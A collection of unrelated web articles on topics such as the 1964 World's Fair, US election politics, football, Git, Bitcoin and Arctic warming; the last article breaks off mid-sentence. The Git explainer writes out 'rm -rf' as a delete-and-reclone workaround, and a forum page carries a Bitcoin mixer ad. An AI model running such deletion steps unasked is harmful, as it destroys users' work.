-With the 50th anniversary of the 1964-65 New York World’s Fair upon us, the Queens Museum has unveiled a new exhibit featuring everything from one of the animatronic brontosauruses from GM’s “Futurama” attraction to a Bell System Picturephone that was created way before FaceTime.  If you’re a fan of Mad Men–era NYC you should definitely see the exhibit, on view till Oct. 18, along with the museum’s long-term display of over 900 smaller artifacts from the fair. But let’s face it, all of the ephemera can’t do justice to what was truly a mind-blowing extravaganza made up of 150 fantastically designed pavilions offering everything from utopian visions of the future, to Jurassic Park-style dinosaur battles, to canoe rides through replicas of exotic island paradises — not to mention, of course, the Unisphere and the Panorama, among the few attractions that outlasted the fair.  Running from mid-April to mid-October in both ’64 and ’65, the fair was immense. Which is why the 312-page guide put out by the editors of Time-Life Books featured a welcome message in which Robert Moses, the event’s proud president, implored visitors to “study the fair. Come often. When you get here, don’t rush.”  We recently acquired a copy of that official guide and gave it a read. Here’s what we learned.  1. You could get there by helicopter and by hydrofoil.  Helicopters regularly traveled between Wall Street and the fair’s 120-foot-high heliport (still home to a banquet hall). Rides were $8, or about $60 today. Hydrofoil boats, “which skim over the water on winglike foils,” went from South Street and East 25th Street to the Fair Marina (also still home to a restaurant). You can see the hydrofoils at 5:14 in this video.  2. You could dine in a teahouse.  The Korea pavilion featured “dancing drummer girls” as well as a teahouse serving exotic dishes like kimchi.  3. Or you could dine in a tree-house.  The Africa pavilion, made up of huts on stilts (shown at 1:09 in the video above), featured caged wild animals and $500 diamonds on display. And there was tree-house dining: “The multilevel rooms of the tree-house restaurant and bar are reached by a winding staircase that girdles the tree’s massive trunk.”  4. There was a robot Lincoln created by Walt Disney.  Seriously, peep the video above. “With mannerisms characteristic of the great Civil War President, the animated figure recites excerpts from Lincoln’s speeches on liberty, civil rights and freedom. Dimensions of the figure duplicate the physical statistics found in biographies; the facial features were taken from Lincoln’s life mask.”  5. There was a 100-dish Viking smorgasborg.  The buffet in the Minnesota pavilion “groans with over 100 foods” from the state, including venison, pheasant and pike.  6. There was a gorilla on a bike and bowling porpoises.  Plus a “dog that models fashions.” That would be Lady Greyhound, the live mascot of Greyhound buses.  7. There was a million-dollar money tree  At the American Express pavilion, “a million dollars’ worth of real currency ‘grows’ on a money tree.”  8. There were “rest alcoves” with “nap robes.”  Wandering the fairgrounds could be tiring. So, “uniformed attendants escort visitors to their rest alcoves, set a timer outside and rouse them gently if they sleep beyond the half-hour limit. Each alcove is carpeted and furnished with bed, shelf and full-length mirror.”  9. The Vatican pavilion cost $2 million.  The sum was raised by churches around the U.S. It was the first time Michelangelo’s Pieta left Old St. Peter’s Basilica. The pavilion was eventually relocated to Groton, Connecticut, where it became a church. You can see the interior above and the exterior here.  10. There was a Formica house  “The first house to use Formica laminated plastic on exterior walls. Its interior includes an indoor barbecue pit and natural illumination from skylights.”  11. Boy Scouts told stories at night.  The Boy Scouts of America pavilion featured a “nightly campfire with singing and storytelling.”  12. Rheingold recreated old New York.  The brewery’s pavilion recreated a “cobblestoned, gaslighted New York City street of 1904,” with occasional appearances by a barbershop quartet and Miss Rheingold herself. It took two years of study and planning.  13. Schaefer created the longest bar in the world.  The brewer’s pavilion included an illuminated 12-foot-tall fountain, “ornamental trees that at night appear to be filled with twinkling fireflies,” and a 100-foot-long bar.  14. There was a transparent chocolate factory.  The Chunky Candy pavilion showed candies being made in slow-motion.  15. There was an “autoparts harmonic orchestra.”  Inside of the Ford pavilion there was a harp made of transmission housing and brake cables, and a trumpet fashioned from a section of axle and fuel pump parts. See them perform at 6:30 in the video above.  16. Pepsi created a small-scale Disneyland.  The “It’s a Small World–A Salute to UNICEF” boat ride carried spectators past the Eiffel Tower, a Dutch windmill and the Taj Mahal.  17. There were massive smoke rings.  At the General Cigar pavilion, “a machine blows 12-foot smoke rings 100 feet into the air.”  18. There was a “nonsense machine.”  Kids could crawl through the maze-like device consisting of a hall of mirrors, “squeeze-bulbs that emit strange noises and cranks that operate robots.”  17. There was an “international sandwich garden.”  At the Seven-Up pavilion, you could sample sandwiches from 16 countries while a five-piece ensemble played American show tunes and music from all over Europe and Latin America.  18. You could get converted by Billy Graham.  The evangelist’s pavilion included a 400-seat theater and a 100-foot-high tower “topped by a brilliant sunburst.” A 50-foot “wrap-around” screen played a movie “recounting the story of mankind from the beginning of time”; “for those who accept the invitation to receive Christ, given by Dr. Graham in the film, a trained staff offers guidance and counseling, also in several languages.”  19. There were 1,400 public “push button” phones.  And over 450 million feet of telephone wire under the grounds.  20. You could “explore the mysteries of a woman’s mind.”  At the IBM pavilion, “a new kind of living picture entertainment comes to you from nine separate screens,” per an ad. “It puts you inside the mind of a racing car driver at 120 miles per hour. You will explore the mysteries of a woman’s mind as she plans the seating of a dinner party.”  21. You could also get inside the mind of a missionary.  The Wycliffe Bible Translators, a missionary group, exhibited blowguns (“just one of the hazards WBT missionaries have encountered”) along with panels showing “the conversion of an Amazon jungle headhunter.”  22. You could eat duckling stuffed with shark fin.  At the Hong Kong pavilion, which was dominated by three Chinese junks, “Chinese opera singers, acrobats and other groups perform during the dinner hour.”  23. You could see the world’s biggest wheel of cheese.  The 17-ton cheese wheel in the Wisconsin pavilion was “protected against mice by glass, even though experts figured out that it would take one average-sized mouse 27 years to devour the whole cheese.”  24. You could see a million volts of electricity go “crackling” through someone’s body.  At the Sermons from Science pavilion, a Christian endeavor that aimed to “illustrate the compatibility of faith and knowledge,” a demonstrator sent the electricity coursing through his body to ignite a block of wood in his hands.  25. You could see “gaudily dressed clowns” and drink at a 1,500-seat rathskeller.  The Belgium pavilion (shown at 0:20) was a copy of a walled Flemish village from 1800 and included replicas of over 100 houses and Antwerp’s Gothic Church of St. Nicholas. “Four times each day gaudily dressed clowns wearing wooden-shoes, ostrich-feather headdresses and bells dance through the streets.”  26. The Fair’s exhibits were worth $300 million.  That’s according to an insurance estimate that didn’t count irreplaceable art objects.  27. You could ogle Pakistani models.  They appeared in periodic fashion shows to exhibit the country’s “progressive present.”  28. You could see someone hit 30 MPH with a jet pack.  “The actor who ‘flies’ cross-stage in the last scene of the Ampitheatre show, ‘Wonderland,’ is propelled by a hydrogen-powered jet engine strapped to his back.”  29. There was a pain-in-the-ass reproduction of the Santa Maria.  After it made the trip from Barcelona, “tree limbs were cut, telephone lines taken down, street lights swung out of the way, street signs removed, and the truck carrying the 110-ton ship became mired in soft asphalt. Cost of the five-mile trip: about $30,000.”  30. And a reproduction of the Bounty, packed with hogsheads.  The replica of the boat from Mutiny on the Bounty traveled more than 40,000 under sail after it was built in Nova Scotia.  31. You could watch Polynesians dive for oysters.  The Polynesia pavilion (shown at 7:30 in the above video) included “a lagoon where beautiful Polynesian girls pilot outrigger canoes and natives dive for oysters. The oysters were transplanted to Flushing Meadows from Pacific pearl beds.”  32. You could see a million dollars in gold nuggets and ride a mechanical buffalo.  At the Montana pavilion there was also an encampment of American Indians offering “several shows daily of tribal dancing.”  33. There was a model railroad atop a 50-foot map of Long Island.  The map included models of Jones Beach, Montauk Lighthouse, JFK and more.  34. There was a women-only “color carousel.”  At the Clairol pavilion, ladies could enter one of 40 private booths on a slowly circling turntable in order to receive a “complete hair-coloring analysis” that showed them how they looked in various styles.  35. Joan Crawford and Kirk Douglas signed autographs with the help of robots.  At the Hollywood pavilion, they were assisted by “a multiple-writing machine that signs 100 at a time.”  36. In addition to the 1964 panorama, there was a model of the city in 1664.  Plus “a Triborough Bridge and Tunnel Authority theater that shows color films of the many bridges and tunnels of New York.”  37. You could actually fly over the panorama.  “Passengers enter helicopter-like cars at the Narrows. The cars rise just high enough (two feet) to clear the model. As they fly over the city the lighting changes to evening, while a recording tells of the city’s history and operations.”  38. There were robot dinosaur battles staged by Walt Disney.  As you can see at the 5:12 mark of the video above, the Ford pavilion featured “huge dinosaurs engaging in combat while primitive creatures soar overhead. Life-sized cavemen appear, in a triumph of electronic animation.”  39. An 80-foot-tall tire served as a ferris wheel.  Above, check out the reproduction of the ferris wheel at the U.S. Rubber pavilion. It’s now on display in Allen Park, Michigan.  40. “Hell Drivers” performed in an Auto Thrill Show.  “In the show’s climax, a driver pilots a truck on a dangerous ramp-to-ramp ‘flight,’ hurtling more than 70 feet through the air.”  41. The monorail was awesome.  It could carry 6,000 passengers an hour, including (as you can see in the above video) those Boy Scouts we mentioned.  42. The circus featured chimpanzees playing musical instruments.  43. Members of more than 100 American Indian tribes were on staff.  And 50 American Indians were involved in the construction of the Unisphere “without a single injury.”  44. There were $2 million in wax statues.  Walter’s International Wax Museum featured a 20-by-30-foot copy of the Last Supper.  45. The “Tower of Light” was equal to 50 fully illuminated Yankee Stadiums.  The “world’s most powerful searchlight” was part of this exhibit that also included an animated penguin and polar bear acting out the wonder of air conditioning.  46. There was a Pearl Bailey puppet wearing $15,000 worth of chinchilla.  Plus puppet versions of Sinatra and Elvis, courtesy of the “Les Poupees de Paris” show.  47. There was a “bull in a boudoir.”  In the Texas pavilion, “a real bull is sumptuously stabled in an elegant French bedroom, surrounded by displays of the latest improvements in raising and breeding cattle.”  48. You could eat a 12-course luau and get a canoe ride from a “beach boy.”  At the Hawaii pavilion, naturally.  49. There was an “aerial tower ride and waffle” restaurant.  A “typically European eat-and-ride attraction,” apparently.  50. At the time, the Unisphere was the “largest globular structure ever built by man.”  “All told, more than 500 major structural elements were assembled to mount a 120-foot diameter armillary sphere on a 20-foot base, at a total weight of nearly 900,000 pounds.” And she’s still a beauty, if you ask us.
-WASHINGTON (Reuters) - President Donald Trump created a commission on Thursday to investigate voter fraud and suppression, the White House said, a move that follows Trump’s unsubstantiated claims of massive voter fraud in the 2016 U.S. election.  U.S. President Donald Trump returns from a weekend at his New Jersey golf estate home via Air Force One at Joint Base Andrews, Maryland, U.S. May 7, 2017. REUTERS/Jonathan Ernst  Trump signed an executive order creating the bipartisan Presidential Advisory Commission on Election Integrity, which would be chaired by Vice President Mike Pence, White House spokeswoman Sarah Huckabee Sanders told reporters.  The move provoked anger among top U.S. civil rights groups and Democratic lawmakers, who called it a voter suppression tactic.  Trump, who took office in January, has said there was widespread voter fraud in the November election. The Republican won the White House through victory in the Electoral College, which tallies wins in states, but lost the popular vote to Democratic rival Hillary Clinton by some 3 million ballots.  Trump said in January he would seek an investigation into voter fraud in the election, even though the consensus among state officials and election experts is that it is rare in the United States.  “The President’s ‘Election Integrity’ Commission is purpose-built to encourage and enable voter suppression,” said U.S. House of Representatives Democratic leader Nancy Pelosi in a statement. She said the commission would lend legitimacy to state efforts to enact discriminatory voting laws.  Senate Democratic Leader Chuck Schumer and Elijah Cummings, ranking Democrat on the House Oversight and Government Reform Committee, issued similar statements.  Top civil rights leaders said the commission would encourage voter suppression by justifying new barriers like requiring identity cards for voting.  “When Attorney General Jeff Sessions led a similar effort as a former prosecutor in Alabama, it had a chilling effect on the black vote,” said Kristen Clarke, the head of the Lawyers’ Committee for Civil Rights Under Law.  Dale Ho, director of the American Civil Liberties Union voting project, said, “Signing a piece of paper will not make Trump’s false statements about voter fraud true.”  The bipartisan commission would not be limited to investigating Trump’s election fraud claims but look at issues that have been raised over many years.  “The commission will review policies and practices that enhance or undermine the American people’s confidence in the integrity of federal elections, and provide the president with a report that identifies system vulnerabilities,” Huckabee Sanders said. She said the report would be complete by 2018.  The new panel coincides with several U.S. investigations into alleged Russian meddling in the November election, including selectively leaking hacked emails and circulating false news reports. Russian officials have denied such interference.
-Google has always been a proponent of clean energy, and solar power has been a central part of our vision. Over the past year, Project Sunroof has been helping homeowners explore whether they should go solar - offering solar estimates for over 43 million houses across 42 states. Solar installations today are growing rapidly, but there remains tremendous untapped potential as only a half a percent of US electricity comes from solar power.  Today we’re excited to be taking Project Sunroof a step further by launching a new data explorer tool to enable solar estimates for entire communities, in addition to individual homes, by leveraging 3D rooftop geometry from Google Earth to estimate the solar potential for millions of rooftops in America. The tool helps communities, cities and municipalities easily visualize how many rooftops are suitable to install solar, how much power they could collectively generate, as well as how much carbon could be displaced by deploying rooftop solar at scale. Sunroof’s solar potential reports can also be easily shared amongst community members, researchers and policymakers directly from the the tool itself. Anyone can use this tool for free, by simply entering in a state, county, city, or zip code to receive a custom analysis.
-Andy Sinton appointed QPR club ambassador  Former QPR and England international will promote the name of the R's  Sinton commences new position from 15th June 2015  FORMER QPR winger and England international Andy Sinton is returning to Loftus Road as Rangers’ first club ambassador.  Sinton, who made 161 league starts for the Hoops during his four and a half year stay in W12, will embark on his new role from June 15th, working for the club and its charitable arm, QPR in the Community Trust.  In his new role as an ambassador, Sinton’s initial duties will include attending matches, working with commercial partners, supporting club-wide events and initiatives, and working closely with the PR, marketing, and community departments to help promote the name of QPR.  “I’m very excited about the new role,” Sinton told www.qpr.co.uk.  “Ever since I left the club I have always said that I wanted to come back in some capacity at some stage and this feels like a perfect fit, promoting the good name of Queens Park Rangers Football Club across a variety of mediums.  BACK: Andy Sinton has returned to a new role at Loftus Road  “Football is everything I know and love and to stay involved in the game is fantastic. To do that at QPR, where I enjoyed the best years of my career, is even better  “I’ve always had a good relationship with the fans, on and off the field, better than anywhere else I played, so to work closely again with them in the community and on matchdays is going to be an amazing experience for me.  “It’s going to be an absolute pleasure and a privilege.”  QPR Chairman, Tony Fernandes, added: “This is a really important appointment.  “Andy is one of a number of former players who share a great affiliation with QPR and utilising him across all areas of the club to promote what we do is a massive step in the right direction for us.  “It's important that he gets out in the community and shows what QPR is – a family football club.  AMBASSADOR: Sinton will help promoted the name of QPR in the community  “He is a vibrant, infectious personality and I am sure he will flourish in this role.  “With Andy and Les back at QPR, we now have people with very deep roots in the club, which we – as a board – deem hugely important.”  QPR’s Head of Media & Communications, Ian Taylor, will work closely with Sinton and is excited about the return of the 49 year-old, commenting: “Andy lives and breathes football, and especially all things QPR, so when the opportunity arose to bring someone into this role, he was the ideal candidate.  “He will play an integral role across all areas of the club, working closely with the Trust especially, to promote QPR on a local, national and international scale.”  Further details regarding Sinton’s involvement at QPR will be made in due course, but in the meantime, welcome back Andy!  See also ...
-|<  < Prev  Next >  >| Git  Title text: If that doesn't fix it, git.txt contains the phone number of a friend of mine who understands git. Just wait through a few minutes of 'It's really pretty simple, just think of branches as...' and eventually you'll learn the commands that will fix everything.  Explanation [ edit ]  This is Git [ edit ]  Git is a version control system, used to manage the code in many millions of software projects. It is very powerful, and was amongst the first widely adopted tools to use a distributed version control model (the "beautiful graph theory tree model"), meaning that there is no single central repository of code. Instead, users share code back and forth to synchronise their repositories, and it is up to each project to define processes and procedures for managing the flow of changes into a stable software product.  How do we use it? [ edit ]  Although very powerful, the command line of Git is notoriously difficult to learn and master. Dozens of blog posts and websites (see [1], [2]), and even books ([3], [4]) have been written to help users navigate this complexity.  The difficulty of using Git in common situations is contradicted by the apparent simplicity of its use in tutorial-style situations. Committing and sharing changes is fairly straightforward, for instance, but recovering from situations such as accidental commits, pushes or bad merges is difficult without a solid understanding of the rather large and complex conceptual model. For instance, three of the top five highest voted questions on Stack Overflow are questions about how to carry out relatively simple tasks: undoing the last commit, changing the last commit message, and deleting a remote branch.  This comic thus explores the difference between the idealised view of Git's architecture, and its actual typical usage. Tutorials for Git tend to use simple systems in their examples, and only deal with the most basic commands to get started, which can create the misleading impression that Git can be used effectively without extensive study.  Due to this problem, compounded by the fact that Git's commands are named differently from similar commands in other version control systems, many users (including Cueball) are unable to use it beyond basic commands, and might try to avoid problems by saving their code outside Git, downloading a newer copy, and then re-applying their changes to the new copy instead of trying to understand and use the features that exist in Git to accomplish this task.  Memorize these shell commands [ edit ]  Cueball suggests "just memoriz[ing] these shell commands and type them to sync up". He is probably referring to a sequence of commands such as:  git pull # remote changes have now been received, so work on your file git add file.txt git commit -m "Added some text" git push  If you get errors... [ edit ]  As long as every contributor to the project follows these principles, this may suffice for a while. But many situations may cause "errors":  merge conflicts (two people editing the same part of the same file)  unmerged changes (another person committed a change before you did, so you need to merge their changes first)  attempting to recover from a situation such as an accidental merge, and making the situation worse.  In a situation such as a merge conflict, Git will show an error message such as:  CONFLICT (modify/delete): README.md deleted in HEAD and modified in branch-b. Version branch-b of README.md left in tree. # Automatic merge failed; fix conflicts and then commit the result.  Save your work elsewhere... [ edit ]  Although Git experts can of course deal with such situations, the remedy proposed by Cueball is "save your work elsewhere, delete the project, and download a fresh copy". That is, to copy the files out of their local repository's working directory, delete that whole structure, then clone the remote repository again (and, implicitly, copy the saved work back again):  # Copy files elsewhere mkdir /tmp/myproject cp * /tmp/myproject cd .. # delete the project rm -rf myproject  # Download a fresh copy git clone https://github.com/myorg/myproject cd myproject  # Copy saved work cp /tmp/myproject/* .  Abandoning the old project likely means losing some work, but may be faster and give a more predictable outcome than attempting to salvage the situation. Applying this method to a mere merge conflict issue may prolong the issue however, as the merge conflicts may still be present.  Title text [ edit ]  The title text suggests an alternative method for working around Git's complexities, which reflects common practice: knowing a "Git expert" who can help in any situation. Such experts are somewhat notorious for waxing lyrically about Git's strengths, so it may be necessary to win their favour by first letting them ramble enthusiastically about it. They will hopefully eventually give the exact commands needed. In practice, the question-and-answer site Stack Overflow is frequently used for this exact purpose.  It may even be a reference to the infamous tweet "Git gets easier once you get the basic idea that branches are homeomorphic endofunctors mapping submanifolds of a Hilbert space" which has been discussed here but it is inconclusive whether a meaningful interpretation exists.  Putting a telephone number of someone who "understands Git" into such a file is humorous because:  Software teams would more normally use electronic means of communication  Explaining Git over the phone to team members should not be necessary, as there is extensive help available online, and  In the situation where many team members would need phone support to avoid or fix basic Git problems, this would be extremely distracting to the person whose phone number was given in the file.  In short: programmers use version control systems to track changes to code. Most of these version control systems are quite similar and easy to learn if you already know another one. Git is a version control system based on completely different principles, and most programmers find it difficult to wrap their heads around it (although Git also offers a large number of nontrivial benefits over standard version control systems, which is why it is used). Cueball is one of those programmers.  Trivia [ edit ]  This comic is referenced on what if 153, the page where Randall, due to a problem with git, erroneously posted a draft of his what if? piece on peptides. As of December 17th, 2016 the page reads:  Whoops This article is still in progress. An early draft was unintentionally posted here thanks to Randall's troubled approach to git, and it took a little bit to get everything sorted out and rolled back. Sorry for the mixup!  The comic 1296: Git Commit also features Git.  Transcript [ edit ]  [Cueball points to a computer on a desk while Ponytail and Hairy are standing further away behind an office chair.] Cueball: This is git. It tracks collaborative work on projects through a beautiful distributed graph theory tree model. Ponytail: Cool. How do we use it? Cueball: No idea. Just memorize these shell commands and type them to sync up. If you get errors, save your work elsewhere, delete the project, and download a fresh copy.  Discussion
-Your Bitcoin transactions The Ultimate Bitcoin mixer made truly anonymous. with an advanced technology. Mix coins  Advertised sites are not endorsed by the Bitcoin Forum. They may be unsafe, untrustworthy, or illegal in your jurisdiction. Advertise here.  ripper234  Offline  Activity: 1274  Merit: 1000  Ron Gross  LegendaryActivity: 1274Merit: 1000Ron Gross Re: [ANNOUNCE] BTCtoX - Rate Converter between BTC and other currencies June 23, 2012, 11:35:16 AM #11 I just deployed a new version with these improvements:  1. Fixed the API documentation page, it didn't work well.  2. Added weighted average over 1,7,30 days to the API (not to the app itself ... not sure it's needed there, and the app should be redesigned in a nicer way anyway).  3. Added caching! I discovered that BitcoinCharts doesn't like it when API requests are made more than once every 15 minutes... so now I'm caching all outgoing API requests to speed up the process. BitcoinCharts data will be cached for 16 minutes, Mt. Gox and Open Exhcange will be cached for 2 minutes just to get a speed boost.  I'm particularly happy about bullet number 3, because it gave me a chance to play around with Memcached for the first time (it's a bit of an overkill for this project, but it's really simple using Play Framework & Heroku, so I wanted to give it a try ... and it was really easy to implement & deploy).  Please give it a test drive and report any issues.  Ron  Executive Director  Co-founder of the Israeli Bitcoin Association Please do not pm me, use ron@bitcoin.org.il instead Mastercoin Executive DirectorCo-founder of the Israeli Bitcoin Association  frisco2  Offline  Activity: 274  Merit: 250  Sr. MemberActivity: 274Merit: 250 Re: [ANNOUNCE] BTCtoX - Rate Converter between BTC and other currencies June 24, 2012, 07:49:12 PM #14 This is an idea, since I'm not in trading -- but if there was an API to retrieve a dump of prices in many exchanges, one could build a graph structure and try to compute a cycle of trade to make money. For example, I know that I can buy bitcoin at the cavirtex for CAD for less than mtgox, then sell it for USD on mtgox, move the money accross the border back to canada with RBC USA free cross-border transfer, and be in net profit. Of course there are commission fees in the exchanges, but it is a matter to have all the data quickly retrieved in one location, and running some search and optimization code on it. Since you are querying all those exchanges anyways, maybe you can bunch up all the data into one json, and allow people to make such an application of off your api? Just10.com -- Ad-Free Private Social Network for just 10 of your friends.
-EXID member and one of the hottest stars of the moment, Hani, will be joining Jinusean on the stage of “KBS Music Bank.”  Numerous broadcast insiders have told the media that Hani will be part of Jinusean’s “Tell Me One More Time” for the May 8 broadcast of “KBS Music Bank.”  Previously, Jinusean announced that they will be featuring numerous different female musicians in the song, which was originally sung by YG-trainee Jang Hana. 2NE1‘s Sandara Park and Akdong Musician‘s Lee Suhyun have also joined them on stage for the song so far. This will make Hani the third female star to be guest-featured on a performance of the song.  EXID has recently released “Ah Yeah” and is currently undergoing promotions.  Source: (1)  See also: Jinusean Invites Female Singers to Feature in Performances; First Up Is Sandara Park!
-CLEVELAND -- A 12-member jury has acquitted Westlake police detective Robert Toth of using excessive force on a suspect and making a false police report.  Toth was accused of choking, kicking and punching Teddie Abadie during interrogation.  Toth was represented by attorney Kevin Spellacy. Toth has been on unpaid leave since the charges were filed.  In response to the verdict, Westlake police capt. Guy Turner said, "We are very satisfied with the jury’s verdict."  Following the verdict, Acting U.S. Attorney Carole Rendon said in a statement that "We respect the jury’s verdict. Prosecution of excessive use of force cases are always challenging. Police officers make incredible sacrifices daily and we remain grateful to all of those officers who are working to keep us safe."  Documents filed back in January by federal prosecutors also say Toth wrapped a seatbelt around Abadie's neck after driving him to the cemetery.  Toth was indicted in June on federal charges of using unreasonable force, and two counts of obstruction of justice force for allegedly filing a false report about the incident and lying to a federal agent. He had pleaded not guilty.  This article will be updated.
-NEW DELHI: An 18-year-old rape survivor has alleged that Aam Aadmi Party MLA from Kasturba Nagar in south Delhi, Madan Lal, has been pressuring her to withdraw the case, police said on Monday. The girl has given a written complaint (accessed by TOI) to south Delhi police in this regard after which they have begun an inquiry. The MLA will soon be called for questioning, police said.The rape was reported in December last year, police said. The survivor had been allegedly accosted by the man and sexually assaulted. However, the accused later apologized and married the girl. "As the woman was only 17 at the time and she and her family members had complained to police, we initiated legal action," said a senior police officer.An FIR under sections of IPC pertaining to sexual assault, abduction and POCSO Act was registered at Kotla Mubarakpur police station. The accused was arrested following a raid at his home. He was sent to judicial custody and the police began filing the chargesheet.A month later, however, the survivor again sought help from the police saying Madan Lal, the local AAP MLA, was putting pressure on her to stop pursuing the case. In the written complaint addressed to the deputy commissioner of police, south district, she demanded a speedy probe into the matter.The police immediately sent a written reply to the survivor, informing her that police investigations into the case were complete and that the accused had been arrested and sent to jail. The girl was informed that the department had submitted a chargesheet and trial was to begun shortly.However, police said they are yet to probe the MLA's role in pressuring the victim. "As far as allegations against the local MLA are concerned, an inquiry has been initiated. If the allegations are found true, action will be taken. We will be asking him to join investigations," the senior police officer said.Madan Lal did not respond to repeated calls and text messages.He was recently in news when he alleged at a press meet that he had received a call from an "unknown number" and the person who spoke to him said he would make him talk to a "big person" and mentioned Arun Jaitley's name. Lal had also alleged he was approached by two people on behalf of Gujarat chief minister and BJP prime ministerial candidate Narendra Modi a few days ago but said he had no proof to back his allegations.
-Written by Stefanie Fogel  The Walking Dead Season Two is almost here. Telltale's Dennis Lenart, director of the Season Two premiere, and writer/season designer Mark Darin recently spoke to us about the series and its new pre-teen protagonist, fan-favorite Clementine.  PC Gamer: Child protagonists are not all that common in video games. Why did you guys decide to make Clementine the lead for season two?  Mark Darin, writer/designer, Telltale Games: I think choosing Clementine as a protagonist let us really experiment in the way that the gameplay plays out. It lets you experience--like you said, child protagonists are not generally used that often--but it provides us a unique perspective on a world that you've already seen. You spent a lot of Season One playing as Lee bringing up Clementine in a way that you think is going to be best for her. Now, putting you in her shoes and seeing how that plays out, that's something that really resonated with us.  For me, one of the things that is really special about it is that she is not special. She's just a little girl dealing in this world of paranoid and intense people with zombies running around, and she has only herself to get through it. She isn't special. She's not running around with guns. She doesn't have any magic powers. She's just doing everything she can to survive, as any one of us would.  Clem's a normal child, but she did learn how to shoot in Season One. So, are we going to see some of that same kind of action gameplay in Season Two, and how is that going to work with a child character?  Dennis Lenart, director, Telltale Games: You're going to see action sequences at the start of the game, but it's not the same as Lee was. Lee was a full-grown man. The way he deals with people and the way he deals with zombies is very, very different from Clementine. She can shoot a gun, but she's not running around the world with a bunch of guns just taking out zombies right and left. She's got to use her environment. She's got to use everything she has to her advantage. So, the way we're approaching action sequences in Season Two is a little bit different. It's focused on her vulnerabilities and the different strengths that she has, which is very, very different from what Lee brought to Season One.  Does that mean Season Two will include more puzzles?  Lenart: Not necessarily, no.  Darin: I think a lot of Clementine's biggest struggles are not going to come from the action sequences, but it's going to come from the ways the world treats her, and the way you  have to interact with people, and that space that you have as a young girl dealing with new people that you're meeting. How do they trust you? Do you trust them? What level of manipulation is going on, and how do you perceive those things? These are all the really dramatic and intense things that are going to be happening across the season.  Writing believable and interesting child characters can be a bit of a challenge. We've even seen this in AMC's The Walking Dead show with Carl in Season Two, who was not exactly a favorite amongst viewers. How are you guys approaching that challenge with Clementine?  Darin: A lot of shows and games fall into the pitfall of using a child character's inexperience to cause problems, and that makes you not like the character at all, because they're just causing problems. We try to be mindful of that when we're writing our stories, and that's one of the things I think that made Clementine not a hated character in Season One, made her a beloved character. She was not just causing problems through her inexperience, and we're carrying that through Season Two as well.  How much time has passed between the final scene of Season One and Season Two? Where is Clementine when we catch up with her again?  Lenart: That would be a spoiler. We're trying to leave some stuff for the excitement of playing the game for the first time. She's still not a teenager, we'll say that.  The Walking Dead is known for its tough moral choices. In Season One, it was an adult making them. Now, you have this child who could potentially decide who lives and who dies, or who might have to chop somebody's leg off with an axe to save them from the walkers. How is that going to work with Clem, and how will that affect her character?  Lenart: Well, one of the really interesting things you touch upon there is that in Season One, a lot of times, people made good decisions with Clementine around, based on wanting to show her this is how the world is. “You need to learn how to survive,” or “You don't need to see this, I'm trying to keep you, retain a sense of your humanity as much as possible.” There's things you can do that she didn't know about, but now … you're the one who's going to be making Clementine have to go through these terrible times and make these tough decisions. So, there's a lot more of the feeling of ownership, but also, at the same time, I think it really puts you in an interesting head space, where you really feel like the world is just all hits, pressing down around you. It's “The Walking Dead,” so no one's safe at any time. You know that everything you do has repercussions. So, I think the fact that it is Clementine that you're playing as, it makes every little thing a lot harder.  How will some of the choices players made in Season One affect Clementine?  Darin: Basically, we're always looking for little places to call back to things. The choices you made in Season One and the things you did with Clementine color who she is in Season Two. That's an important thing for us. We're trying not to be super heavy-handed with it, but we're really retaining that sense of feeling like the Clementine you helped raise in Season One, this is the logical progression of that arc that you went through with her.  Earlier this week, you guys teased a screenshot of Omid from Season One. What role does he play in Clementine's life at this point?  Lenart: That would be probably spoiler territory, actually.  What about the 400 Days DLC? How does that figure into everything?  Lenart: We did make the promise that 400 Days, and Season One, those choices are going to carry over. A thing that happens in both Season One and in 400 Days, those events, those choices that you made, they will figure into the story in possibly unexpected ways.  How much of Clementine's success as a character do you credit to Melissa Hutchinson and her performance?  Lenart: She's awesome, so a lot of it. Definitely. Melissa's performance is fantastic. She brings this innocence to [Clementine] and this need to want to protect her as well, and her performance--she's an amazing actress.  It's funny. I feel like even in the booth with her recording lines, you feel oddly protective of her as she's recording. It's really weird to be able to, you're sitting there focusing on a line, and you hear Clementine, and you just want to save her. Then you look over and it's Melissa sitting there with headphones. “Oh, yeah, everything's fine.”  Darin: I try not to look at her in the booth. It's just weird. You're sitting there looking at your paper, looking at the script and hearing the line, but you're picturing Clementine in the other room. You look up and it's Melissa. She's so good.  When you made the decision to cast Clementine as the playable character, were you at all concerned about how it'd be received by an audience that's used to playing beefy space Marines and sexy adventurers?  Lenart: Not at all. For me, that was the draw to it, and so maybe it's not as much of a concern. To me, it was more excitement, I guess.  Darin: It's great being in the creative world, that you can jump into and have these meaningful relationships with characters and enjoy that and still be able to, when you're done with this episode, go back and shoot some aliens and have fun with that. There's so many different kinds of games, and you don't have to be limited to one kind. You don't need to stereotype people and say, “This is what gamers want, they just want to run around and shoot things.” They want a perspective. There's room for all these kind of games to exist, and people want to play a variety of things and they're offering that to people.  I think part of the core of this whole game, too, is making her the opposite of a space Marine. So, she doesn't have different guns. She doesn't have special powers. She's not super-oddly strong for a young girl. We really try to make you feel like you are a young girl in the zombie apocalypse, and you have all the same limitations that she would have. I think that's what we're really excited about with Season Two. It's a challenge that you get personally involved in. That's what makes it fun to play, is you put yourself into unique situations and you have to make the decisions, and you have to try to roleplay them in a variety of different ways. That's what's fun about it.  Thanks, guys.
-Arctic Is Warming At 'Astonishing' Rates, Researchers Say  Enlarge this image toggle caption Greenland Travel via Flickr Greenland Travel via Flickr  Scientists released this year's so-called Arctic Report Card on Tuesday, and it is a dismal one.  Researchers say the Arctic continues to warm up at rates they call "astonishing." They presented their findings at the American Geophysical Union's fall meeting in San Francisco.  "The Arctic as a whole is warming at least twice as fast as the rest of the planet," says Jeremy Mathis, climate scientist at the National Oceanic and Atmospheric Administration and one of the report card's authors.  The cause of the warming is in part due to a feedback loop unique to the Arctic's northern climate. Normally, the region stays cool because snow and ice reflect a lot of sunlight back into space. But warmer temperatures are melting that snow and ice. The melting snow exposes darker ground and water that absorb more of the sun's heat. That makes the Arctic warm up even faster.  NOAA YouTube  Mathis adds that the warming is getting progressively worse.  "The Arctic is getting persistently warmer; sea ice is continuing to show declines, particularly during the summer months," he says. "The second big story for 2016 has been the winter temperatures."  Mathis says it wasn't so long ago that the temperature in Fairbanks, Alaska, where he lives, would drop to minus 40 F for weeks at a time in the winter.  "Now since about 2012 and 2013, it's pretty rare for the temperature to even hit minus 40 in Fairbanks," he says.  Warmer winters have created what polar scientist Marco Tedesco calls a new "precondition" for a higher rate of melting in the spring, when the sun first rises, ending the dark Arctic 